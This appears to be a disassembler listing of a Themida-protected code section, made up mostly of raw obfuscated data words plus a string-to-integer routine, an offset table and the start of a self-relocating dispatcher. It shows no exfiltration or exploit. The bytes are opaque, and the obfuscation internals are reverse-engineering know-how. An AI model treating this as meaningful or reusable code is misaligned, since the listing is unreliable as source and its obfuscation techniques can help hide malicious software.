		dd 8AA1622Fh, 0C9628704h, 65234E89h, 685B75FAh,	8EC22F09h
		dd 1A8E0Fh, 10E80000h, 4B000000h, 8831CDE0h, 0AA2F1A91h
		dd 3EB682D6h, 66BEEFC8h, 5B3E0CBBh, 0F6243481h,	6A713DB0h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8D25C353h, 45F0858Dh, 89600613h, 1009BDBDh
		dd 45B58906h, 61061005h, 958BD0FFh, 61001E9h, 2D018D29h
		dd 0BD830610h, 6100AA1h, 0B6840F00h, 66000000h,	0BD83DE8Bh
		dd 6102209h, 0A6850F01h, 89000000h, 101A8585h, 0FA8D8D06h
		dd 8B061345h, 10165995h, 9036A06h, 100559BDh, 66016A06h
		dd 0D1FFD88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	9EC35242h, 41309F6h, 8AFF5BAEh,	459531F1h, 81061008h
		dd 0D794BAF3h, 0F016A4Dh, 885h,	9D8B5200h, 6101331h, 6A016A5Ah
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0DB7EC351h, 401B705Ch, 1A918D89h,	0D1FF0610h
		dd 0E8BFC380h, 0FA4B6D59h, 5810Fh, 81660000h, 89E211F3h
		dd 100FC9BDh, 6A206A06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 1C96C356h, 0E3A968D5h
		dd 8A5759B5h, 66FF6AD4h, 95FFDF8Bh, 61006B9h, 10E9h, 57A4CC00h
		dd 5B302DB7h, 135865E9h, 195FC125h, 0B8A0h, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 2A61FDC3h, 0C0ECA379h, 0B70EA68h, 47840FC0h,	6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 622BC357h, 8B46F645h, 19958BD0h, 8306102Dh
		dd 101D19BDh, 840F0006h, 12h, 2AD195FFh, 8A0F0610h, 6
		dd 23C59D0Bh, 858B0610h, 61010C5h, 2E01BD89h, 57600610h
		dd 815EEEB4h, 775B45D9h, 0C6611Ah, 0D5DB8100h, 580E44CAh
		dd 9099D01h, 0BD890610h, 6102FC9h, 6AD98C66h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0F406C356h, 82B07C96h, 0F697400h, 681h, 0A9BD3100h
		dd 0E8061009h, 5, 30190FB3h, 45952917h,	5A061008h, 0F04C1F6h
		dd 0B384h, 0DDB58900h, 8B06101Ah, 1013119Dh, 0A2E906h
		dd 830F0000h, 1, 899D23FCh, 8B061005h, 102955B5h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F729B743h, 0C870Fh,	800F0000h, 6, 1B219D8Bh, 0C6810610h
		dd 1180h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0D3C35747h, 10296676h, 0E9B944CBh, 5, 0E8B4195Bh
		dd 0C7D88B21h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 1CD14BBAh, 8BEC9CFEh
		dd 53006A5Eh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8BA663D2h, 1012B195h, 0F88306h, 0C1D840Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B72F1C3h, 0D6BF0FDAh, 0F01F883h,	17D85h
		dd 0FFE28000h, 0B8h, 68D0F00h, 8B000000h, 1004CD95h, 0FC00B06h
		dd 10E84h, 1AF38100h, 0E90F4C5Eh, 10h, 0AEDDA1DFh, 7599D892h
		dd 5A7F51EEh, 0E3E1F264h, 0F01F883h, 10184h, 71952300h
		dd 83061007h, 840F03F8h
		dd 74h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h
		dd 37C35646h, 0DF80954Fh, 8BC02BA9h, 1007819Dh,	0E0BD8D06h
		dd 8B005B89h, 100BC99Dh, 6AE7FF06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E9EFC353h
		dd 0Ah,	0CAF06344h, 89898A24h, 880F440Eh, 0Ch, 6890Fh
		dd 9D890000h, 61010FDh,	1B8h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0BE94345h
		dd 50000000h, 96B2FBA9h, 4FD11C72h, 0BD8DB28Fh,	5B89E0h
		dd 0FFD78B66h, 50006AE7h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 47D2C6A4h, 7900DDCBh
		dd 8056C1F9h, 8D5BCCDBh, 10448FBDh, 1D958B06h, 0E9061013h
		dd 317h, 0CAC4C381h, 85C7281Fh,	6104E5Eh, 5, 5B8F5h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0C14FC3C3h, 2329958Bh, 0EFE90610h, 0F000009h, 0F883D2B7h
		dd 0FD850F02h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 2709C353h, 38542EB4h
		dd 8081213Dh, 0B833DBh,	8B000000h, 10208D9Dh, 0FC00B06h
		dd 8F84h, 82BA6600h, 1F8832Ch, 0FF74840Fh, 0F883FFFFh
		dd 0ED840F03h, 6AFFFFFEh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 0F43AC351h,	15880F6Ah
		dd 0E9000000h, 10h, 0A0EC8334h,	0EB6062BCh, 0D19F1AE1h
		dd 27E08h, 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 480EC5C3h, 0D98BCE0Ch, 89E0BD8Dh
		dd 958B005Bh, 61000C5h,	2960E7FFh, 100825BDh, 89B58906h
		dd 61061008h, 4687BD8Dh, 6A0610h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0ABE3F7C3h, 1DAE9h, 0F3816600h
		dd 9D8B36F3h, 6100CB1h,	0F03F883h, 4385h, 9D8B6000h, 6100719h
		dd 61D9B70Fh, 68C0Fh, 9D8B0000h, 6100A09h, 481BBD8Dh, 0FE80610h
		dd 0AF000000h, 0E7B81C8Bh, 23A31633h, 0C277AEA8h, 0F560834h
		dd 85h,	0E95A5A00h, 187h, 0CCB6BA66h, 0F05F883h, 3785h
		dd 3860F00h, 0F000000h,	83E9DABFh, 6A000008h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0B87EC351h, 0F0074E9h, 0EB81DBBFh, 0D4894E5h, 0F06F883h
		dd 5885h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 0A2EA814Bh, 8D422B46h, 104A13BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 5F48674Eh, 0BD898386h, 61013B5h,	0E6E9h
		dd 0C6BB6600h, 7F88364h, 64850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 201A48C3h
		dd 9EFF1E48h, 9D8B2A3Ah, 6101CA5h, 1BD8DF5h, 8906102Bh
		dd 102A158Dh, 120E906h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1C0424h, 57470000h, 0BFB5F1C3h, 5A966AF7h
		dd 0BA663E45h, 0F8834D3Fh, 6C850F0Ah, 66000000h, 8DA80CBBh
		dd 104C0BBDh, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 87878F4Ah, 6E8093CFh, 38E95AC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1DF9C352h, 0C122344Ch,	0DE9h
		dd 0EBD39000h, 0C963EB2Ah, 15D9E148h, 81663AC9h, 5768B6DBh
		dd 14019D33h, 72B90610h, 8B0E20B6h, 102DA59Dh, 3F8306h
		dd 65840Fh, 7E90000h, 64000000h, 0D72CBA0Ah, 0F3034DDh
		dd 0D1DFBF0Fh, 57006AC9h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0E870937Fh, 0ADF7784Dh
		dd 6A47A2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 61EDFCC3h, 0B4A57A7Ah, 0FFFF98E9h, 8D9D89FFh
		dd 5F061022h, 0BD89F08Ah, 6104E07h, 68A0Fh, 9D890000h
		dd 6101B35h, 14E98D8Dh,	6A0610h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0BBC302C3h, 28B0F97h
		dd 0B3000000h, 0B5FFF5B7h, 61009ADh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0F3C35242h,	4D6F84B8h, 5E95B25h
		dd 5000000h, 0FD44FF24h, 0AB5E858Dh, 8D500612h,	1055B8BDh
		dd 0E78D8D06h, 0B8061070h, 54831ABCh, 730CF2Bh,	4947C8D0h
		dd 0B58DF875h, 6107058h, 70FF8D8Dh, 0CF2B0610h,	0C933A4F3h
		dd 0B8h, 74C00B00h, 19BD8346h, 6101Dh, 95FF0674h, 6102AD1h
		dd 4E07B58Bh, 858D0610h, 612AB5Eh, 858DD0FFh, 6104264h
		dd 85C7D0FFh, 6101C21h,	1, 30F5A58Bh, 0B58B0610h, 61030E9h
		dd 21C9AD8Bh, 0C0330610h, 57000CC2h, 0BE8h, 0F4F80200h
		dd 76F426D0h, 4A248AC1h, 26C28166h, 6A5B5A53h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 9ABCC351h, 319D8B9Bh, 83061001h, 10306DBDh, 840F0006h
		dd 18h,	12759531h, 95FF0610h, 6100AF5h,	23D99D89h, 95890610h
		dd 6101BA1h, 2969BD83h,	0F000610h, 1C085h, 0EE900h, 868B0000h
		dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 2209BD83h, 0F010610h
		dd 1A085h, 0B1B50100h, 8306100Ch, 102DA1BDh, 840F0006h
		dd 18Dh, 7D9D8960h, 0F06100Ah, 8361F3B7h, 104E5ABDh, 840F0006h
		dd 175h, 237D9589h, 858D0610h, 612AB5Eh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 0DCC35747h, 0B3FFE985h
		dd 8F0FBF7Ch, 6, 2D01958Bh, 9EBA0610h, 8B1F90FEh, 104E07B5h
		dd 42E28106h, 8033FDFDh, 0D0FF00D7h, 4870Fh, 0BA660000h
		dd 85C621F3h, 61023E5h,	559D8B54h, 0E8061014h, 11h, 27BE0EE3h
		dd 8CBA6A13h, 0ACF80A72h, 93EA5DDCh, 0DF8B660Dh, 8BFC685Ah
		dd 3BB7EEE9h, 8243481h,	8B11A735h, 199D8BD0h, 0FF06100Ah
		dd 101499B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1D04h, 0C3504000h, 0C690C5CAh, 64958B36h, 0FF80E67h
		dd 858DD0BFh, 6103A32h,	0C3BF0F60h, 2BE38166h, 0D0FF6153h
		dd 0EE9h, 0C5A2D300h, 5B07F1F8h, 0FE91A466h, 6AE386BFh
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0C005740Ch, 0BBFF6ACBh, 423BBFBDh, 6AD0FFh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 512019C3h, 8D91A5D9h, 858B603Fh, 6100059h, 0B58961FCh
		dd 6101631h, 1911B5FFh,	6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 0ED5C26C3h, 95FFD7C1h
		dd 61009ADh, 7B58BF9h, 6006104Eh, 0F1BD8960h, 6006100Ah
		dd 0BE96161h, 87000000h, 65F220A4h, 6F4F693h, 0C3619054h
		dd 0B58BB7B6h, 61010C5h, 0C959D8Bh, 0F60B0610h,	27840Fh
		dd 0BF90000h, 1008519Dh, 6C606h, 178D0Fh, 12E90000h, 6C000000h
		dd 2616538h
		dd 59FE23B9h, 0A6509D0Ah, 928DE23Ah, 0F858935h,	8906104Eh
		dd 100A75B5h, 0F88306h,	385840Fh, 5BBA0000h, 0B83D574Fh
		dd 0
		dd 283A0ABAh, 0F88357h,	115840Fh, 0CCB60000h, 83D7B70Fh
		dd 850F02F8h, 0AFh, 13B0DA81h, 0F3815E03h, 5E7D17ADh, 448A858Dh
		dd 6A0610h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 9D8B76C3h, 61027DDh, 9292Dh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
		dd 0BD5C56ADh, 6559830Fh, 9509C588h, 6102885h, 14E890h
		dd 1FC40000h, 0CE0FB28Ah, 63F27E78h, 6218CF86h,	0B25D74E4h
		dd 525084F8h, 310FD88Bh, 8D0Fh,	585A0000h, 8B60505Bh, 0E99061F7h
		dd 0Ah,	8E15ECE6h, 93CD5A4Eh, 0FC3E69Eh, 687h, 859D8B00h
		dd 0B806100Bh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0D5C35343h
		dd 965C41E3h, 0D1B70F74h, 282E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0B218FFC8h
		dd 15595365h, 0E9953149h, 0B8061021h, 1, 2D758D89h, 0BD8D0610h
		dd 610448Fh, 0E982C280h, 13Ah, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 88C35646h, 81256E1Fh, 58E149EAh
		dd 0CE91Bh, 0CDCB0000h,	99905E7Ah, 1292983Dh, 0F883A4E5h
		dd 6D850F02h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0A8A1C356h,	1812CACh
		dd 1020298Dh, 87BD8D06h, 0F061046h, 8Fh, 0C4E900h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 633E73C3h, 11E956F2h, 81000000h, 7D143A28h, 0C083A89Eh
		dd 0F8307459h, 0B2855732h, 0F03F883h, 7385h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0D928764Dh, 559D8BFEh, 6006102Eh, 10E9h, 5B85A00h, 446EBC4Ch
		dd 0A14F9B2h, 4262D6CAh, 0C1958BE3h, 61061010h,	481BBD8Dh
		dd 950B0610h, 6102FD1h,	31E9h, 52006A00h, 3E8h,	0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 6F1498Dh, 0F05F883h
		dd 985h, 80E900h, 0BA660000h, 6A5736AEh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 9186C350h
		dd 0BD298568h, 61022FDh, 20B672B9h, 38D0F0Eh, 0F000000h
		dd 3F83DABFh, 3F840F00h, 0B7000000h, 890F30B2h,	1023D9BDh
		dd 6AC9D106h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 61D0C353h, 260D3987h, 47B2F38Ah
		dd 85950347h, 0E9061020h, 0FFFFFFBAh, 0F88308B3h, 80850F05h
		dd 80000000h, 8C66E1EFh, 0C1F6F5D9h, 49850F04h,	66000000h
		dd 0B8D68Bh, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0E808C355h,	9, 8A748BC7h
		dd 130B4379h, 0DA8B660Eh, 35E95Ah, 860F0000h, 5, 59D6FEBBh
		dd 0D38B6635h, 15AD858Bh, 0FFFC0610h, 12E8E0h, 6500000h
		dd 3AF621B8h, 66ADD3D2h, 81D1F6D6h, 4325452Bh, 3331B529h
		dd 835A0610h, 1009ADBDh, 850F0006h, 102h, 2E65958Bh, 40BA0610h
		dd 9003919Ch, 56506CB2h, 8E8h, 85261300h, 0C55F5DDBh, 0CBC5BB53h
		dd 5B5A1B49h, 158C0F90h, 0F000000h, 0F89h, 9E800h, 41130000h
		dd 8DECFEECh, 5A520AECh, 23E585C6h, 0B2450610h,	4E851h
		dd 69690000h, 8B668E72h, 0C3B650DAh, 424448Bh, 9C78BA66h
		dd 0F60008Bh, 0D81h, 7E800h, 0C2390000h, 95075B56h, 9E85FB8h
		dd 8F000000h, 0A2E62321h, 0D5BD121Ah, 58DF8B66h, 24448961h
		dd 0E8525004h, 5, 0C4BC784h, 5ADD8A63h,	0DE8B310Fh, 0B258585Ah
		dd 99B5FF88h, 0BA061014h, 780870B4h, 3A32858Dh,	8B660610h
		dd 0FF37B6D7h, 50006AD0h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0CC474D31h, 8B852790h
		dd 100E2195h, 599D3106h, 89061002h, 1009AD85h, 9DF38106h
		dd 58252B9Ch, 5E9h, 2BF93300h, 0BD8320DDh, 6104E5Eh, 59840F00h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0D482C356h, 11B5FF0Eh,	51061019h
		dd 0EDD9D89h, 0FF5B0610h, 1009AD95h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0D3FF49E3h
		dd 0C2818768h, 511DCCFh, 0F00F883h, 0C385h, 0CB816600h
		dd 0BD838A23h, 6101359h, 44840F00h, 8B000000h, 471DBAD3h
		dd 0B5FF7BEEh, 6101359h, 8B665757h, 0B85B5ADFh,	1, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 1AC35040h, 0C4D614A5h
		dd 806DE194h, 88E944EBh, 0FF000002h, 101911B5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 1D2A2DE1h, 15BD897Fh, 89061005h, 10163D9Dh, 7E806h
		dd 871D0000h, 0AAFD1665h, 957DBADCh, 0FF5A0607h, 101911B5h
		dd 0F19D0106h, 0FF061018h, 1009ADB5h, 1D858906h, 0E906101Dh
		dd 227h, 1EF19589h, 9D8B0610h, 6102FA1h, 50006A5Fh, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0F62C5CCh, 0D223ADFEh, 119D89C2h, 8306100Ch,	1012F5BDh
		dd 850F0006h, 105h, 23E585C6h, 604D0610h, 20D18589h, 0BD890610h
		dd 61030F9h, 4E861h, 76A80000h,	11E8A435h, 70000000h, 8BBC174Bh
		dd 5290F1CBh, 74C00873h, 0CD6E37A9h, 0BE9h, 7C53B200h
		dd 0F2F978DFh, 0CBEB3224h, 880F505Bh, 2, 448BDE8Ah, 56BB0424h
		dd 8B2C4EB2h, 840F5700h, 3, 5AD98B66h, 4244489h, 0BFBB6660h
		dd 61F38B6Dh, 9E85358h,	2D000000h, 0D511BFBFh, 6834E28Bh
		dd 5AEAC280h, 0E5B5FF5Bh, 81061020h, 0E7EE83CAh, 32858D54h
		dd 0E906103Ah, 14h, 8BC9A41Eh, 0D15D0D26h, 0A404B13Eh
		dd 33E2184Fh, 7B092EA3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 3D02FDC3h, 62356433h
		dd 8589E99Fh, 61012F5h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 7CC35040h, 39789F6Bh,	89C88228h, 101C7D8Dh
		dd 0B806h, 95010000h, 6101C55h,	4E07BD89h, 6A0610h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0F55B4CC3h, 12CE8949h, 9D8B59C9h, 6100E0Dh, 92DA8166h
		dd 0FC00B04h, 2D84h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0ED958B74h, 0E906100Dh
		dd 6Fh,	29798509h, 0B5FF0610h, 61009ADh, 0F08A6050h, 7E9h
		dd 0FBAB5100h, 56255604h, 85895A61h, 6102F1Dh, 0AB5E858Dh
		dd 85890612h, 61029A9h,	50D18B90h, 11E8h, 99255B00h, 9D0B55F8h
		dd 8CAD1167h, 0BC494ECFh, 8C0F84F5h, 6,	8D0Fh, 905B0000h
		dd 0B810Fh, 0F600000h, 9D8BD7B7h, 61007E1h, 21952361h
		dd 5006100Bh, 0B8BD8D56h, 8D061055h, 107BE98Dh,	23BCB806h
		dd 0CF2B7483h, 0C8D00730h, 0F8754947h, 0BD83585Eh, 6101359h
		dd 8B067400h, 100B898Dh, 0B8C93306h, 0
		dd 840FC00Bh, 0A8h, 1D19BD83h, 74000610h, 0D195FF06h, 0B806102Ah
		dd 0
		dd 975C00Bh, 4E0FBD83h,	74010610h, 0FBD8309h, 206104Eh
		dd 0B58B0E75h, 6104E07h, 0AB5E858Dh, 0D0FF0612h, 306DBD83h
		dd 74000610h, 0F595FF06h, 8D06100Ah, 10426485h,	83D0FF06h
		dd 100855BDh, 2F750206h, 30F5A58Bh, 858B0610h, 6101359h
		dd 0C7240489h, 101C2185h, 106h,	0BB58B00h, 8B06104Eh, 1021C9ADh
		dd 1B806h, 0CC20000h, 0C700EB00h, 101C2185h, 106h, 0F5A58B00h
		dd 8B061030h, 1030E9B5h, 0C9AD8B06h, 33061021h,	0CC2C0h
		dd 306DBD83h, 74000610h, 0F5BD830Fh, 6100Ah, 95FF0674h
		dd 6100AF5h, 4E07B58Bh,	0FC30610h, 68Eh, 9D9D8B00h, 6A061008h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 28D2C357h, 0AEE87B55h, 11959D8Bh,	0BA0610h
		dd 31000000h, 1028858Dh, 0C5958906h
		db 1Bh,	10h, 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_553197
; ---------------------------------------------------------------------------


loc_553195:				; CODE XREF: Themida_:0055319Aj
		inc	eax
		inc	edi


loc_553197:				; CODE XREF: Themida_:00553193j
		cmp	byte ptr [edi],	0
		jnz	short loc_553195
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_5531C6
; ---------------------------------------------------------------------------


loc_5531A3:				; CODE XREF: Themida_:005531C8j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_5531BB
; ---------------------------------------------------------------------------


loc_5531B8:				; CODE XREF: Themida_:005531BEj
		mul	ebx
		dec	esi


loc_5531BB:				; CODE XREF: Themida_:005531B6j
		cmp	esi, 0
		ja	short loc_5531B8
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_5531C6:				; CODE XREF: Themida_:005531A1j
		or	eax, eax
		jnz	short loc_5531A3
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dd 81666050h, 893B67F2h, 1022B99Dh, 0F5A6106h, 681h, 37E38100h
		dd 8A1035BEh, 0E9C18BF4h, 22305h, 0
		dd 25B003Fh, 2 dup(5CC447h), 12FF6Ch, 5CAA9Fh, 25B0028h
		dd 202h, 2, 1, 3, 0FA44B46Bh, 5	dup(0)
		dd offset byte_557013
		dd offset dword_55C644
		dd offset byte_558FD1
		dd offset dword_557604
		dd offset byte_554A15
		dd offset byte_559197
		dd offset byte_55D7AB
		dd offset byte_55EB69
		dd offset byte_554A0D
		dd offset byte_559509
		dd offset aFnfvfps00	; "f­fVfPé00"
		dd offset word_55BC12
		dd offset dword_559630
		dd offset byte_55C49F
		dd offset word_55E122
		dd offset byte_5550D7
		dd offset byte_55C859
		dd offset dword_55F6DC
		dd offset word_554746
		dd offset byte_55D9C5
		dd offset word_55CA76
		dd offset word_55BD2E
		dd offset byte_559D5D
		dd offset byte_55947F
		dd offset byte_55591B
		dd offset dword_558F88
		dd offset byte_554E2D
		dd offset byte_55D4BB
		dd offset byte_55CA7F
		dd offset word_55A916
		dd offset byte_55FA25
		dd offset word_5539DE
		dd offset byte_558BD1
		dd offset byte_559CF9
		dd offset aN1H		; "­1ØhÙ<"
		dd offset byte_55F3D1
		dd offset dword_558D4C
		dd offset byte_55D923
		dd offset dword_55F75C
		dd offset byte_55E931
		dd offset word_55F6BA
		dd offset byte_559065
		dd offset byte_55DAA5
		dd offset byte_55E39B
		dd offset dword_55DB0C
		dd offset byte_554443
		dd offset byte_55F15D
		dd offset dword_554A78
		dd offset dword_55A7D8
		dd offset dword_556664
		dd offset byte_55C2A7
		dd offset byte_55F0C9
		dd offset dword_558C8C
		dd offset word_55CFD2
		dd offset dword_557124
		dd offset dword_5557C8
		dd offset word_55B57A
		dd offset byte_55DFE1
		dd offset dword_5580E8
		dd offset dword_55B918
		dd offset byte_556BA9
		dd offset byte_5582DC
		dd offset word_556922
		dd offset word_55AAC6
		dd offset dword_554978
		dd offset byte_55609D
		dd offset byte_5541AF
		dd offset dword_558E18
		dd offset word_55A4CA
		dd offset aFhuefiSN	; "fhžEf‰$$é)n"
		dd offset dword_557070
		dd offset byte_5564C5
		dd offset byte_55E13B
		dd offset byte_55889D
		dd offset word_55833A
		dd offset byte_55D143
		dd offset dword_55C3F4
		dd offset word_55783A
		dd offset dword_559EF8
		dd offset word_55A77A
		dd offset byte_55E355
		dd offset aNh7		; "­h/7"
		dd offset byte_554A41
		dd offset byte_55A431
		dd offset byte_559487
		dd offset dword_554780
		dd offset byte_55F84F
		dd offset byte_55E089
		dd offset byte_55D01B
		dd offset dword_5569C4
		dd offset word_55518A
		dd offset dword_55D4A4
		dd offset byte_55A6F3
		dd offset byte_559F39
		dd offset word_5594D6
		dd offset byte_55E8CF
		dd offset byte_558989
		dd offset word_556F0E
		dd offset word_55AADA
		dd offset word_55A2AA
		dd offset byte_55CD71
		dd offset byte_55A007
		dd offset byte_55C8C5
		dd offset byte_555BF3
		dd offset byte_55D6FD
		dd offset aWicpshd	; "W‰çPéh„"
		dd offset aMsgu		; "¬ég“"
		dd offset dword_558B68
		dd offset dword_55BA58
		dd offset byte_559999
		dd offset word_55380A
		dd offset dword_558EDC
		dd offset aM0HI		; "¬0ØhœI"
		dd offset dword_55CA94
		dd offset dword_55DEE0
		dd offset byte_55FC17
		dd offset byte_557B69
		dd offset byte_55DA49
		dd offset dword_55EDF0
		dd offset dword_55AA64
		dd offset byte_55472B
		dd offset byte_55D26F
		dd offset dword_55ED00
		dd offset dword_55EE68
		dd offset dword_559C84
		dd offset dword_555C50
		dd offset byte_55AAA7
		dd offset word_55BD5A
		dd offset word_555CF6
		dd offset byte_558BB5
		dd offset dword_5559F0
		dd offset dword_55A010
		dd offset off_55AFC3
		dd offset byte_556007
		dd offset byte_5589C1
		dd offset word_559AA2
		dd offset byte_556F2F
		dd offset dword_556B78
		dd offset word_55B952
		dd offset byte_555D07
		dd offset byte_554517
		dd offset dword_558684
		dd offset byte_55D8CF
		dd offset byte_557FAF
		dd offset byte_55DBFB
		dd offset dword_553E48
		dd offset dword_55BBAC
		dd offset byte_55C0F1
		dd offset word_55BAEA
		dd offset word_5599BE
		dd offset word_5561B6
		dd offset byte_55E48F
		dd offset word_5576EE
		dd offset word_55369E
		dd offset byte_55C461
		dd offset byte_553EB3
		dd offset byte_55E26B
		dd offset byte_55A127
		dd offset dword_55F090
		dd offset dword_5578E4
		dd offset dword_554790
		dd offset byte_553B41
		dd offset byte_554A2D
		dd offset dword_55E3E0
		dd offset byte_55B693
		dd offset aUspQiIYs	; "USP[Q‰Ù‰ÍYé`\x1B"
		dd offset dword_559BD8
; ---------------------------------------------------------------------------


loc_5534D8:				; CODE XREF: Themida_:00575E8Dj
					; Themida_:005809E3j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6108075h
		mov	eax, edi
		add	edi, 6107D8Dh
		cmp	eax, [edi+2Ch]
		jnz	short loc_5534F6
		jmp	short loc_553509
; ---------------------------------------------------------------------------


loc_5534F6:				; CODE XREF: Themida_:005534F2j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_553505
; ---------------------------------------------------------------------------


loc_553500:				; CODE XREF: Themida_:00553507j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_553505:				; CODE XREF: Themida_:005534FEj
		or	ecx, ecx
		jnz	short loc_553500


loc_553509:				; CODE XREF: Themida_:005534F4j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_553516:				; CODE XREF: Themida_:0055351Dj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_553516


loc_55351F:				; CODE XREF: Themida_:005557ABj
					; Themida_:00555D02j ...
		lodsb
		push	36EDh
		mov	[esp], ecx
		jmp	loc_5590B7
; ---------------------------------------------------------------------------
aZsY		db 'ZéÏY',0
		dw 8300h
		dd 148704C2h, 0E4E95C24h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55353F:				; CODE XREF: Themida_:0055DFDCj
		mov	ecx, [esp]
		add	esp, 4
		add	al, bl
		jmp	loc_55C983
